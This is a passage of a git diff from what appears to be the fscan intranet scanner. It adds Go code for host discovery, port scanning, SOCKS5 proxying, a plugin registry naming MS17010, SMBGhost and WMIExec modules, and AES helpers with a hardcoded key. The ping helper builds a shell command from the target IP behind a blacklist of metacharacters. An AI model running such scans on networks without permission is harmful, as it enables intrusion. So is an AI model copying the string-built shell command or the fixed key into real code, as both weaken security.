fmt.Sprintf("%s.%d.%d.2", ipRange, a, b)) // 备用网关 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.4", ipRange, a, b)) // 常用服务器 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.5", ipRange, a, b)) // 常用服务器 + + // 随机采样不同范围的IP + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(6, 55))) // 低段随机 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(56, 100))) // 中低段随机 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(101, 150))) // 中段随机 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(151, 200))) // 中高段随机 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.%d", ipRange, a, b, RandInt(201, 253))) // 高段随机 + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.254", ipRange, a, b)) // 广播地址前 + } + } + + fmt.Printf("[*] 已生成 %d 个采样IP地址\n", len(allIP)) + return allIP +} + +// RandInt 生成指定范围内的随机整数 +func RandInt(min, max int) int { + // 参数验证 + if min >= max || min == 0 || max == 0 { + return max + } + + // 生成随机数 + return rand.Intn(max-min) + min +} diff --git a/common/ParsePort.go b/Common/ParsePort.go similarity index 52% rename from common/ParsePort.go rename to Common/ParsePort.go index 4ccac9e2..9363913d 100644 --- a/common/ParsePort.go +++ b/Common/ParsePort.go @@ -1,32 +1,46 @@ -package common +package Common import ( + "fmt" + "sort" "strconv" "strings" ) -func ParsePort(ports string) (scanPorts []int) { +// ParsePort 解析端口配置字符串为端口号列表 +func ParsePort(ports string) []int { if ports == "" { - return + return nil } + + var scanPorts []int slices := strings.Split(ports, ",") + + // 处理每个端口配置 for _, port := range slices { port = strings.TrimSpace(port) if port == "" { continue } + + // 处理预定义端口组 if PortGroup[port] != "" { - port = PortGroup[port] - scanPorts = append(scanPorts, ParsePort(port)...) + groupPorts := ParsePort(PortGroup[port]) + scanPorts = append(scanPorts, groupPorts...) + fmt.Printf("[*] 解析端口组 %s -> %v\n", port, groupPorts) continue } + + // 处理端口范围 upper := port if strings.Contains(port, "-") { ranges := strings.Split(port, "-") if len(ranges) < 2 { + fmt.Printf("[!] 无效的端口范围格式: %s\n", port) continue } + // 确保起始端口小于结束端口 startPort, _ := strconv.Atoi(ranges[0]) endPort, _ := strconv.Atoi(ranges[1]) if startPort < endPort { @@ -37,27 +51,40 @@ func ParsePort(ports string) (scanPorts []int) { upper = ranges[0] } } + + // 生成端口列表 start, _ := strconv.Atoi(port) end, _ := strconv.Atoi(upper) for i := start; i <= end; i++ { if i > 65535 || i < 1 { + fmt.Printf("[!] 忽略无效端口: %d\n", i) continue } scanPorts = append(scanPorts, i) } } + + // 去重并排序 scanPorts = removeDuplicate(scanPorts) + sort.Ints(scanPorts) + + fmt.Printf("[*] 共解析 %d 个有效端口\n", len(scanPorts)) return scanPorts } +// removeDuplicate 对整数切片进行去重 func removeDuplicate(old []int) []int { - result := []int{} - temp := map[int]struct{}{} + // 使用map存储不重复的元素 + temp := make(map[int]struct{}) + var result []int + + // 遍历并去重 for _, item := range old { - if _, ok := temp[item]; !ok { + if _, exists := temp[item]; !exists { temp[item] = struct{}{} result = append(result, item) } } + return result } diff --git a/Common/Proxy.go b/Common/Proxy.go new file mode 100644 index 00000000..f8af40eb --- /dev/null +++ b/Common/Proxy.go @@ -0,0 +1,78 @@ +package Common + +import ( + "errors" + "fmt" + "golang.org/x/net/proxy" + "net" + "net/url" + "strings" + "time" +) + +// WrapperTcpWithTimeout 创建一个带超时的TCP连接 +func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) { + d := &net.Dialer{Timeout: timeout} + return WrapperTCP(network, address, d) +} + +// WrapperTCP 根据配置创建TCP连接 +func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) { + // 直连模式 + if Socks5Proxy == "" { + conn, err := forward.Dial(network, address) + if err != nil { + return nil, fmt.Errorf("建立TCP连接失败: %v", err) + } + return conn, nil + } + + // Socks5代理模式 + dialer, err := Socks5Dialer(forward) + if err != nil { + return nil, fmt.Errorf("创建Socks5代理失败: %v", err) + } + + conn, err := dialer.Dial(network, address) + if err != nil { + return nil, fmt.Errorf("通过Socks5建立连接失败: %v", err) + } + + return conn, nil +} + +// Socks5Dialer 创建Socks5代理拨号器 +func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) { + // 解析代理URL + u, err := url.Parse(Socks5Proxy) + if err != nil { + return nil, fmt.Errorf("解析Socks5代理地址失败: %v", err) + } + + // 验证代理类型 + if strings.ToLower(u.Scheme) != "socks5" { + return nil, errors.New("仅支持socks5代理") + } + + address := u.Host + var dialer proxy.Dialer + + // 根据认证信息创建代理 + if u.User.String() != "" { + // 使用用户名密码认证 + auth := proxy.Auth{ + User: u.User.Username(), + } + auth.Password, _ = u.User.Password() + dialer, err = proxy.SOCKS5("tcp", address, &auth, forward) + } else { + // 无认证模式 + dialer, err = proxy.SOCKS5("tcp", address, nil, forward) + } + + if err != nil { + return nil, fmt.Errorf("创建Socks5代理失败: %v", err) + } + + return dialer, nil +} diff --git a/Common/Types.go b/Common/Types.go new file mode 100644 index 00000000..948e7444 --- /dev/null +++ b/Common/Types.go @@ -0,0 +1,24 @@ +// Config/types.go +package Common + +type HostInfo struct { + Host string + Ports string + Url string + Infostr []string +} + +// ScanPlugin 定义扫描插件的结构 +type ScanPlugin struct { + Name string // 插件名称 + Port int // 关联的端口号,0表示特殊扫描类型 + ScanFunc func(*HostInfo) error // 扫描函数 +} + +// PluginManager 管理插件注册 +var PluginManager = make(map[string]ScanPlugin) + +// RegisterPlugin 注册插件 +func RegisterPlugin(name string, plugin ScanPlugin) { + PluginManager[name] = plugin +} diff --git a/Core/ICMP.go b/Core/ICMP.go new file mode 100644 index 00000000..26bb546a --- /dev/null +++ b/Core/ICMP.go @@ -0,0 +1,410 @@ +package Core + +import ( + "bytes" + "fmt" + "github.com/shadow1ng/fscan/Common" + "golang.org/x/net/icmp" + "net" + "os/exec" + "runtime" + "strings" + "sync" + "time" +) + +var ( + AliveHosts []string // 存活主机列表 + ExistHosts = make(map[string]struct{}) // 已发现主机记录 + livewg sync.WaitGroup // 存活检测等待组 +) + +// CheckLive 检测主机存活状态 +func CheckLive(hostslist []string, Ping bool) []string { + // 创建主机通道 + chanHosts := make(chan string, len(hostslist)) + + // 处理存活主机 + go handleAliveHosts(chanHosts, hostslist, Ping) + + // 根据Ping参数选择检测方式 + if Ping { + // 使用ping方式探测 + RunPing(hostslist, chanHosts) + } else { + probeWithICMP(hostslist, chanHosts) + } + + // 等待所有检测完成 + livewg.Wait() + close(chanHosts) + + // 输出存活统计信息 + printAliveStats(hostslist) + + return AliveHosts +} + +// handleAliveHosts 处理存活主机信息 +func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool) { + for ip := range chanHosts { + if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) { + ExistHosts[ip] = struct{}{} + + // 输出存活信息 + if !Common.Silent { + protocol := "ICMP" + if isPing { + protocol = "PING" + } + fmt.Printf("[+] 目标 %-15s 存活 (%s)\n", ip, protocol) + } + + AliveHosts = append(AliveHosts, ip) + } + livewg.Done() + } +} + +// probeWithICMP 使用ICMP方式探测 +func probeWithICMP(hostslist []string, chanHosts chan string) { + // 尝试监听本地ICMP + conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0") + if err == nil { + RunIcmp1(hostslist, conn, chanHosts) + return + } + + Common.LogError(err) + fmt.Println("[-] 正在尝试无监听ICMP探测...") + + // 尝试无监听ICMP探测 + conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second) + if err == nil { + defer conn2.Close() + RunIcmp2(hostslist, chanHosts) + return + } + + Common.LogError(err) + fmt.Println("[-] 当前用户权限不足,无法发送ICMP包") + fmt.Println("[*] 切换为PING方式探测...") + + // 降级使用ping探测 + RunPing(hostslist, chanHosts) +} + +// printAliveStats 打印存活统计信息 +func printAliveStats(hostslist []string) { + // 大规模扫描时输出 /16 网段统计 + if len(hostslist) > 1000 { + arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true) + for i := 0; i < len(arrTop); i++ { + output := fmt.Sprintf("[*] B段 %-16s 存活主机数: %d", arrTop[i]+".0.0/16", arrLen[i]) + Common.LogSuccess(output) + } + } + + // 输出 /24 网段统计 + if len(hostslist) > 256 { + arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false) + for i := 0; i < len(arrTop); i++ { + output := fmt.Sprintf("[*] C段 %-16s 存活主机数: %d", arrTop[i]+".0/24", arrLen[i]) + Common.LogSuccess(output) + } + } +} + +// RunIcmp1 使用ICMP批量探测主机存活(监听模式) +func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) { + endflag := false + + // 启动监听协程 + go func() { + for { + if endflag { + return + } + // 接收ICMP响应 + msg := make([]byte, 100) + _, sourceIP, _ := conn.ReadFrom(msg) + if sourceIP != nil { + livewg.Add(1) + chanHosts <- sourceIP.String() + } + } + }() + + // 发送ICMP请求 + for _, host := range hostslist { + dst, _ := net.ResolveIPAddr("ip", host) + IcmpByte := makemsg(host) + conn.WriteTo(IcmpByte, dst) + } + + // 等待响应 + start := time.Now() + for { + // 所有主机都已响应则退出 + if len(AliveHosts) == len(hostslist) { + break + } + + // 根据主机数量设置超时时间 + since := time.Since(start) + wait := time.Second * 6 + if len(hostslist) <= 256 { + wait = time.Second * 3 + } + + if since > wait { + break + } + } + + endflag = true + conn.Close() +} + +// RunIcmp2 使用ICMP并发探测主机存活(无监听模式) +func RunIcmp2(hostslist []string, chanHosts chan string) { + // 控制并发数 + num := 1000 + if len(hostslist) < num { + num = len(hostslist) + } + + var wg sync.WaitGroup + limiter := make(chan struct{}, num) + + // 并发探测 + for _, host := range hostslist { + wg.Add(1) + limiter <- struct{}{} + + go func(host string) { + defer func() { + <-limiter + wg.Done() + }() + + if icmpalive(host) { + livewg.Add(1) + chanHosts <- host + } + }(host) + } + + wg.Wait() + close(limiter) +} + +// icmpalive 检测主机ICMP是否存活 +func icmpalive(host string) bool { + startTime := time.Now() + + // 建立ICMP连接 + conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second) + if err != nil { + return false + } + defer conn.Close() + + // 设置超时时间 + if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil { + return false + } + + // 构造并发送ICMP请求 + msg := makemsg(host) + if _, err := conn.Write(msg); err != nil { + return false + } + + // 接收ICMP响应 + receive := make([]byte, 60) + if _, err := conn.Read(receive); err != nil { + return false + } + + return true +} + +// RunPing 使用系统Ping命令并发探测主机存活 +func RunPing(hostslist []string, chanHosts chan string) { + var wg sync.WaitGroup + // 限制并发数为50 + limiter := make(chan struct{}, 50) + + // 并发探测 + for _, host := range hostslist { + wg.Add(1) + limiter <- struct{}{} + + go func(host string) { + defer func() { + <-limiter + wg.Done() + }() + + if ExecCommandPing(host) { + livewg.Add(1) + chanHosts <- host + } + }(host) + } + + wg.Wait() +} + +// ExecCommandPing 执行系统Ping命令检测主机存活 +func ExecCommandPing(ip string) bool { + // 过滤黑名单字符 + forbiddenChars := []string{";", "&", "|", "`", "$", "\\", "'", "%", "\"", "\n"} + for _, char := range forbiddenChars { + if strings.Contains(ip, char) { + return false + } + } + + var command *exec.Cmd + // 根据操作系统选择不同的ping命令 + switch runtime.GOOS { + case "windows": + command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") + case "darwin": + command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false") + default: // linux + command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false") + } + + // 捕获命令输出 + var outinfo bytes.Buffer + command.Stdout = &outinfo + + // 执行命令 + if err := command.Start(); err != nil { + return false + } + + if err := command.Wait(); err != nil { + return false + } + + // 分析输出结果 + output := outinfo.String() + return strings.Contains(output, "true") && strings.Count(output, ip) > 2 +} + +// makemsg 构造ICMP echo请求消息 +func makemsg(host string) []byte { + msg := make([]byte, 40) + + // 获取标识符 + id0, id1 := genIdentifier(host) + + // 设置ICMP头部 + msg[0] = 8 // Type: Echo Request + msg[1] = 0 // Code: 0 + msg[2] = 0 // Checksum高位(待计算) + msg[3] = 0 // Checksum低位(待计算) + msg[4], msg[5] = id0, id1 // Identifier + msg[6], msg[7] = genSequence(1) // Sequence Number + + // 计算校验和 + check := checkSum(msg[0:40]) + msg[2] = byte(check >> 8) // 设置校验和高位 + msg[3] = byte(check & 255) // 设置校验和低位 + + return msg +} + +// checkSum 计算ICMP校验和 +func checkSum(msg []byte) uint16 { + sum := 0 + length := len(msg) + + // 按16位累加 + for i := 0; i < length-1; i += 2 { + sum += int(msg[i])*256 + int(msg[i+1]) + } + + // 处理奇数长度情况 + if length%2 == 1 { + sum += int(msg[length-1]) * 256 + } + + // 将高16位加到低16位 + sum = (sum >> 16) + (sum & 0xffff) + sum = sum + (sum >> 16) + + // 取反得到校验和 + return uint16(^sum) +} + +// genSequence 生成ICMP序列号 +func genSequence(v int16) (byte, byte) { + ret1 := byte(v >> 8) // 高8位 + ret2 := byte(v & 255) // 低8位 + return ret1, ret2 +} + +// genIdentifier 根据主机地址生成标识符 +func genIdentifier(host string) (byte, byte) { + return host[0], host[1] // 使用主机地址前两个字节 +} + +// ArrayCountValueTop 统计IP地址段存活数量并返回TOP N结果 +func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) { + if len(arrInit) == 0 { + return + } + + // 统计各网段出现次数 + segmentCounts := make(map[string]int) + for _, ip := range arrInit { + segments := strings.Split(ip, ".") + if len(segments) != 4 { + continue + } + + // 根据flag确定统计B段还是C段 + var segment string + if flag { + segment = fmt.Sprintf("%s.%s", segments[0], segments[1]) // B段 + } else { + segment = fmt.Sprintf("%s.%s.%s", segments[0], segments[1], segments[2]) // C段 + } + + segmentCounts[segment]++ + } + + // 创建副本用于排序 + sortMap := make(map[string]int) + for k, v := range segmentCounts { + sortMap[k] = v + } + + // 获取TOP N结果 + for i := 0; i < length && len(sortMap) > 0; i++ { + maxSegment := "" + maxCount := 0 + + // 查找当前最大值 + for segment, count := range sortMap { + if count > maxCount { + maxCount = count + maxSegment = segment + } + } + + // 添加到结果集 + arrTop = append(arrTop, maxSegment) + arrLen = append(arrLen, maxCount) + + // 从待处理map中删除已处理项 + delete(sortMap, maxSegment) + } + + return +} diff --git a/Core/PortScan.go b/Core/PortScan.go new file mode 100644 index 00000000..47cb6596 --- /dev/null +++ b/Core/PortScan.go @@ -0,0 +1,136 @@ +package Core + +import ( + "fmt" + "github.com/shadow1ng/fscan/Common" + "sort" + "sync" + "time" +) + +// Addr 表示待扫描的地址 +type Addr struct { + ip string // IP地址 + port int // 端口号 +} + +// PortScan 执行端口扫描 +func PortScan(hostslist []string, ports string, timeout int64) []string { + var AliveAddress []string + + // 解析端口列表 + probePorts := Common.ParsePort(ports) + if len(probePorts) == 0 { + fmt.Printf("[-] 端口格式错误: %s, 请检查端口格式\n", ports) + return AliveAddress + } + + // 排除指定端口 + probePorts = excludeNoPorts(probePorts) + + // 创建通道 + workers := Common.Threads + addrs := make(chan Addr, 100) + results := make(chan string, 100) + var wg sync.WaitGroup + + // 接收扫描结果 + go collectResults(&AliveAddress, results, &wg) + + // 启动扫描协程 + for i := 0; i < workers; i++ { + go func() { + for addr := range addrs { + PortConnect(addr, results, timeout, &wg) + wg.Done() + } + }() + } + + // 添加扫描目标 + for _, port := range probePorts { + for _, host := range hostslist { + wg.Add(1) + addrs <- Addr{host, port} + } + } + + wg.Wait() + close(addrs) + close(results) + return AliveAddress +} + +// collectResults 收集扫描结果 +func collectResults(aliveAddrs *[]string, results <-chan string, wg *sync.WaitGroup) { + for found := range results { + *aliveAddrs = append(*aliveAddrs, found) + wg.Done() + } +} + +// PortConnect 尝试连接指定端口 +func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sync.WaitGroup) { + // 建立TCP连接 + conn, err := Common.WrapperTcpWithTimeout("tcp4", + fmt.Sprintf("%s:%v", addr.ip, addr.port), + time.Duration(timeout)*time.Second) + + if err != nil { + return + } + defer conn.Close() + + // 记录开放端口 + address := fmt.Sprintf("%s:%d", addr.ip, addr.port) + result := fmt.Sprintf("[+] 端口开放 %s", address) + Common.LogSuccess(result) + + wg.Add(1) + respondingHosts <- address +} + +// NoPortScan 生成端口列表(不进行扫描) +func NoPortScan(hostslist []string, ports string) []string { + var AliveAddress []string + + // 解析并排除端口 + probePorts := excludeNoPorts(Common.ParsePort(ports)) + + // 生成地址列表 + for _, port := range probePorts { + for _, host := range hostslist { + address := fmt.Sprintf("%s:%d", host, port) + AliveAddress = append(AliveAddress, address) + } + } + + return AliveAddress +} + +// excludeNoPorts 排除指定的端口 +func excludeNoPorts(ports []int) []int { + noPorts := Common.ParsePort(Common.NoPorts) + if len(noPorts) == 0 { + return ports + } + + // 使用map过滤端口 + temp := make(map[int]struct{}) + for _, port := range ports { + temp[port] = struct{}{} + } + + for _, port := range noPorts { + delete(temp, port) + } + + // 转换为切片并排序 + var newPorts []int + for port := range temp { + newPorts = append(newPorts, port) + } + sort.Ints(newPorts) + + return newPorts +} diff --git a/Core/Registry.go b/Core/Registry.go new file mode 100644 index 00000000..daafa2a7 --- /dev/null +++ b/Core/Registry.go @@ -0,0 +1,130 @@ +package Core + +import ( + "github.com/shadow1ng/fscan/Common" + "github.com/shadow1ng/fscan/Plugins" +) + +func init() { + // 注册标准端口服务扫描 + Common.RegisterPlugin("ftp", Common.ScanPlugin{ + Name: "FTP", + Port: 21, + ScanFunc: Plugins.FtpScan, + }) + + Common.RegisterPlugin("ssh", Common.ScanPlugin{ + Name: "SSH", + Port: 22, + ScanFunc: Plugins.SshScan, + }) + + Common.RegisterPlugin("findnet", Common.ScanPlugin{ + Name: "FindNet", + Port: 135, + ScanFunc: Plugins.Findnet, + }) + + Common.RegisterPlugin("netbios", Common.ScanPlugin{ + Name: "NetBIOS", + Port: 139, + ScanFunc: Plugins.NetBIOS, + }) + + Common.RegisterPlugin("smb", Common.ScanPlugin{ + Name: "SMB", + Port: 445, + ScanFunc: Plugins.SmbScan, + }) + + Common.RegisterPlugin("mssql", Common.ScanPlugin{ + Name: "MSSQL", + Port: 1433, + ScanFunc: Plugins.MssqlScan, + }) + + Common.RegisterPlugin("oracle", Common.ScanPlugin{ + Name: "Oracle", + Port: 1521, + ScanFunc: Plugins.OracleScan, + }) + + Common.RegisterPlugin("mysql", Common.ScanPlugin{ + Name: "MySQL", + Port: 3306, + ScanFunc: Plugins.MysqlScan, + }) + + Common.RegisterPlugin("rdp", Common.ScanPlugin{ + Name: "RDP", + Port: 3389, + ScanFunc: Plugins.RdpScan, + }) + + Common.RegisterPlugin("postgres", Common.ScanPlugin{ + Name: "PostgreSQL", + Port: 5432, + ScanFunc: Plugins.PostgresScan, + }) + + Common.RegisterPlugin("redis", Common.ScanPlugin{ + Name: "Redis", + Port: 6379, + ScanFunc: Plugins.RedisScan, + }) + + Common.RegisterPlugin("fcgi", Common.ScanPlugin{ + Name: "FastCGI", + Port: 9000, + ScanFunc: Plugins.FcgiScan, + }) + + Common.RegisterPlugin("memcached", Common.ScanPlugin{ + Name: "Memcached", + Port: 11211, + ScanFunc: Plugins.MemcachedScan, + }) + + Common.RegisterPlugin("mongodb", Common.ScanPlugin{ + Name: "MongoDB", + Port: 27017, + ScanFunc: Plugins.MongodbScan, + }) + + // 注册特殊扫描类型 + Common.RegisterPlugin("ms17010", Common.ScanPlugin{ + Name: "MS17010", + Port: 445, + ScanFunc: Plugins.MS17010, + }) + + Common.RegisterPlugin("smbghost", Common.ScanPlugin{ + Name: "SMBGhost", + Port: 445, + ScanFunc: Plugins.SmbGhost, + }) + + Common.RegisterPlugin("web", Common.ScanPlugin{ + Name: "WebTitle", + Port: 0, + ScanFunc: Plugins.WebTitle, + }) + + Common.RegisterPlugin("smb2", Common.ScanPlugin{ + Name: "SMBScan2", + Port: 445, + ScanFunc: Plugins.SmbScan2, + }) + + Common.RegisterPlugin("wmiexec", Common.ScanPlugin{ + Name: "WMIExec", + Port: 135, + ScanFunc: Plugins.WmiExec, + }) + + Common.RegisterPlugin("localinfo", Common.ScanPlugin{ + Name: "LocalInfo", + Port: 0, + ScanFunc: Plugins.LocalInfoScan, + }) +} diff --git a/Core/Scanner.go b/Core/Scanner.go new file mode 100644 index 00000000..802291bb --- /dev/null +++ b/Core/Scanner.go @@ -0,0 +1,204 @@ +package Core + +import ( + "fmt" + "github.com/shadow1ng/fscan/Common" + "github.com/shadow1ng/fscan/WebScan/lib" + "strconv" + "strings" + "sync" +) + +func Scan(info Common.HostInfo) { + fmt.Println("[*] 开始信息扫描...") + + // 本地信息收集模块 + if Common.Scantype == "localinfo" { + ch := make(chan struct{}, Common.Threads) + wg := sync.WaitGroup{} + AddScan("localinfo", info, &ch, &wg) + wg.Wait() + Common.LogWG.Wait() + close(Common.Results) + fmt.Printf("[✓] 扫描完成 %v/%v\n", Common.End, Common.Num) + return + } + + // 解析目标主机IP + Hosts, err := Common.ParseIP(info.Host, Common.HostFile, Common.NoHosts) + if err != nil { + fmt.Printf("[!] 解析主机错误: %v\n", err) + return + } + + // 初始化配置 + lib.Inithttp() + ch := make(chan struct{}, Common.Threads) + wg := sync.WaitGroup{} + var AlivePorts []string + + if len(Hosts) > 0 || len(Common.HostPort) > 0 { + // ICMP存活性检测 + if (Common.NoPing == false && len(Hosts) > 1) || Common.Scantype == "icmp" { + Hosts = CheckLive(Hosts, Common.Ping) + fmt.Printf("[+] ICMP存活主机数量: %d\n", len(Hosts)) + if Common.Scantype == "icmp" { + Common.LogWG.Wait() + return + } + } + + // 端口扫描策略 + AlivePorts = executeScanStrategy(Hosts, Common.Scantype) + + // 处理自定义端口 + if len(Common.HostPort) > 0 { + AlivePorts = append(AlivePorts, Common.HostPort...) + AlivePorts = Common.RemoveDuplicate(AlivePorts) + Common.HostPort = nil + fmt.Printf("[+] 总计存活端口: %d\n", len(AlivePorts)) + } + + // 执行扫描任务 + fmt.Println("[*] 开始漏洞扫描...") + for _, targetIP := range AlivePorts { + hostParts := strings.Split(targetIP, ":") + if len(hostParts) != 2 { + fmt.Printf("[!] 无效的目标地址格式: %s\n", targetIP) + continue + } + info.Host, info.Ports = hostParts[0], hostParts[1] + + executeScanTasks(info, Common.Scantype, &ch, &wg) + } + } + + // URL扫描 + for _, url := range Common.Urls { + info.Url = url + AddScan("web", info, &ch, &wg) + } + + // 等待所有任务完成 + wg.Wait() + Common.LogWG.Wait() + close(Common.Results) + fmt.Printf("[+] 扫描已完成: %v/%v\n", Common.End, Common.Num) +} + +// executeScanStrategy 执行端口扫描策略 +func executeScanStrategy(Hosts []string, scanType string) []string { + switch scanType { + case "webonly", "webpoc": + return NoPortScan(Hosts, Common.Ports) + case "hostname": + Common.Ports = "139" + return NoPortScan(Hosts, Common.Ports) + default: + if len(Hosts) > 0 { + ports := PortScan(Hosts, Common.Ports, Common.Timeout) + fmt.Printf("[+] 存活端口数量: %d\n", len(ports)) + if scanType == "portscan" { + Common.LogWG.Wait() + return nil + } + return ports + } + } + return nil +} + +// executeScanTasks 执行扫描任务 +func executeScanTasks(info Common.HostInfo, scanType string, ch *chan struct{}, wg *sync.WaitGroup) { + if scanType == "all" || scanType == "main" { + // 根据端口选择扫描插件 + switch info.Ports { + case "135": + AddScan("findnet", info, ch, wg) + if Common.IsWmi { + AddScan("wmiexec", info, ch, wg) + } + case "445": + AddScan("ms17010", info, ch, wg) + case "9000": + AddScan("web", info, ch, wg) + AddScan("fcgi", info, ch, wg) + default: + // 查找对应端口的插件 + for name, plugin := range Common.PluginManager { + if strconv.Itoa(plugin.Port) == info.Ports { + AddScan(name, info, ch, wg) + return + } + } + // 默认执行Web扫描 + AddScan("web", info, ch, wg) + } + } else { + // 直接使用指定的扫描类型 + AddScan(scanType, info, ch, wg) + } +} + +// Mutex用于保护共享资源的并发访问 +var Mutex = &sync.Mutex{} + +// AddScan 添加扫描任务到并发队列 +func AddScan(scantype string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { + // 获取信号量,控制并发数 + *ch <- struct{}{} + // 添加等待组计数 + wg.Add(1) + + // 启动goroutine执行扫描任务 + go func() { + defer func() { + wg.Done() // 完成任务后减少等待组计数 + <-*ch // 释放信号量 + }() + + // 增加总任务数 + Mutex.Lock() + Common.Num += 1 + Mutex.Unlock() + + // 执行扫描 + ScanFunc(&scantype, &info) + + // 增加已完成任务数 + Mutex.Lock() + Common.End += 1 + Mutex.Unlock() + }() +} + +// ScanFunc 执行扫描插件 +func ScanFunc(name *string, info *Common.HostInfo) { + defer func() { + if err := recover(); err != nil { + fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) + } + }() + + // 检查插件是否存在 + plugin, exists := Common.PluginManager[*name] + if !exists { + fmt.Printf("[*] 扫描类型 %v 无对应插件,已跳过\n", *name) + return + } + + // 直接调用扫描函数 + if err := plugin.ScanFunc(info); err != nil { + fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) + } +} + +// IsContain 检查切片中是否包含指定元素 +func IsContain(items []string, item string) bool { + for _, eachItem := range items { + if eachItem == item { + return true + } + } + return false +} diff --git "a/Docs/\346\217\222\344\273\266\347\274\226\345\206\231\346\214\207\345\215\227.md" "b/Docs/\346\217\222\344\273\266\347\274\226\345\206\231\346\214\207\345\215\227.md" new file mode 100644 index 00000000..b9d80946 --- /dev/null +++ "b/Docs/\346\217\222\344\273\266\347\274\226\345\206\231\346\214\207\345\215\227.md" @@ -0,0 +1,88 @@ +# FScan 插件开发指南 + +## 1. 创建插件 +在 `Plugins` 目录下创建你的插件文件,例如 `myPlugin.go`: + +```go +package Plugins + +import ( + "github.com/shadow1ng/fscan/Common" +) + +func MyPluginScan(info *Common.HostInfo) error { + // 1. 基础检查 + if info == nil { + return errors.New("Invalid host info") + } + + // 2. 实现扫描逻辑 + result, err := doScan(info) + if err != nil { + return err + } + + // 3. 处理结果 + if result.Vulnerable { + Common.LogSuccess(fmt.Sprintf("[+] Found vulnerability in %s:%d", info.Host, info.Port)) + } + + return nil +} +``` + +## 2. 注册插件 +在 `Core/Registry.go` 中注册你的插件: + +```go +Common.RegisterPlugin("myplugin", Common.ScanPlugin{ + Name: "MyPlugin", + Port: 12345, // 指定端口,如果是web类插件可设为0 + ScanFunc: Plugins.MyPluginScan, +}) +``` + +## 3. 开发规范 + +### 插件结构 +- 每个插件应当是独立的功能模块 +- 使用清晰的函数名和变量名 +- 添加必要的注释说明功能和实现逻辑 + +### 错误处理 +```go +// 推荐的错误处理方式 +if err != nil { + return fmt.Errorf("plugin_name scan error: %v", err) +} +``` + +### 日志输出 +```go +// 使用内置的日志函数 +Common.LogSuccess("发现漏洞") +Common.LogError("扫描错误") +``` + +## 4. 测试验证 + +- 编译整个项目确保无错误 +- 实际环境测试插件功能 +- 验证与其他插件的兼容性 + +## 5. 提交流程 + +1. Fork 项目仓库 +2. 创建功能分支 +3. 提交代码更改 +4. 编写清晰的提交信息 +5. 创建 Pull Request + +## 注意事项 + +- 遵循 Go 编码规范 +- 保证代码可读性和可维护性 +- 禁止提交恶意代码 +- 做好异常处理和超时控制 +- 避免过度消耗系统资源 +- 注意信息安全,不要泄露敏感数据 diff --git a/Plugins/Base.go b/Plugins/Base.go new file mode 100644 index 00000000..be38f123 --- /dev/null +++ b/Plugins/Base.go @@ -0,0 +1,127 @@ +package Plugins + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + "encoding/base64" + "errors" + "fmt" + "net" +) + +// ReadBytes 从连接读取数据直到EOF或错误 +func ReadBytes(conn net.Conn) ([]byte, error) { + size := 4096 // 缓冲区大小 + buf := make([]byte, size) + var result []byte + var lastErr error + + // 循环读取数据 + for { + count, err := conn.Read(buf) + if err != nil { + lastErr = err + break + } + + result = append(result, buf[0:count]...) + + // 如果读取的数据小于缓冲区,说明已经读完 + if count < size { + break + } + } + + // 如果读到了数据,则忽略错误 + if len(result) > 0 { + return result, nil + } + + return result, lastErr +} + +// 默认AES加密密钥 +var key = "0123456789abcdef" + +// AesEncrypt 使用AES-CBC模式加密字符串 +func AesEncrypt(orig string, key string) (string, error) { + // 转为字节数组 + origData := []byte(orig) + keyBytes := []byte(key) + + // 创建加密块,要求密钥长度必须为16/24/32字节 + block, err := aes.NewCipher(keyBytes) + if err != nil { + return "", fmt.Errorf("[-] 创建加密块失败: %v", err) + } + + // 获取块大小并填充数据 + blockSize := block.BlockSize() + origData = PKCS7Padding(origData, blockSize) + + // 创建CBC加密模式 + blockMode := cipher.NewCBCEncrypter(block, keyBytes[:blockSize]) + + // 加密数据 + encrypted := make([]byte, len(origData)) + blockMode.CryptBlocks(encrypted, origData) + + // base64编码 + return base64.StdEncoding.EncodeToString(encrypted), nil +} + +// AesDecrypt 使用AES-CBC模式解密字符串 +func AesDecrypt(crypted string, key string) (string, error) { + // base64解码 + cryptedBytes, err := base64.StdEncoding.DecodeString(crypted) + if err != nil { + return "", fmt.Errorf("[-] base64解码失败: %v", err) + } + + keyBytes := []byte(key) + + // 创建解密块 + block, err := aes.NewCipher(keyBytes) + if err != nil { + return "", fmt.Errorf("[-] 创建解密块失败: %v", err) + } + + // 创建CBC解密模式 + blockSize := block.BlockSize() + blockMode := cipher.NewCBCDecrypter(block, keyBytes[:blockSize]) + + // 解密数据 + origData := make([]byte, len(cryptedBytes)) + blockMode.CryptBlocks(origData, cryptedBytes) + + // 去除填充 + origData, err = 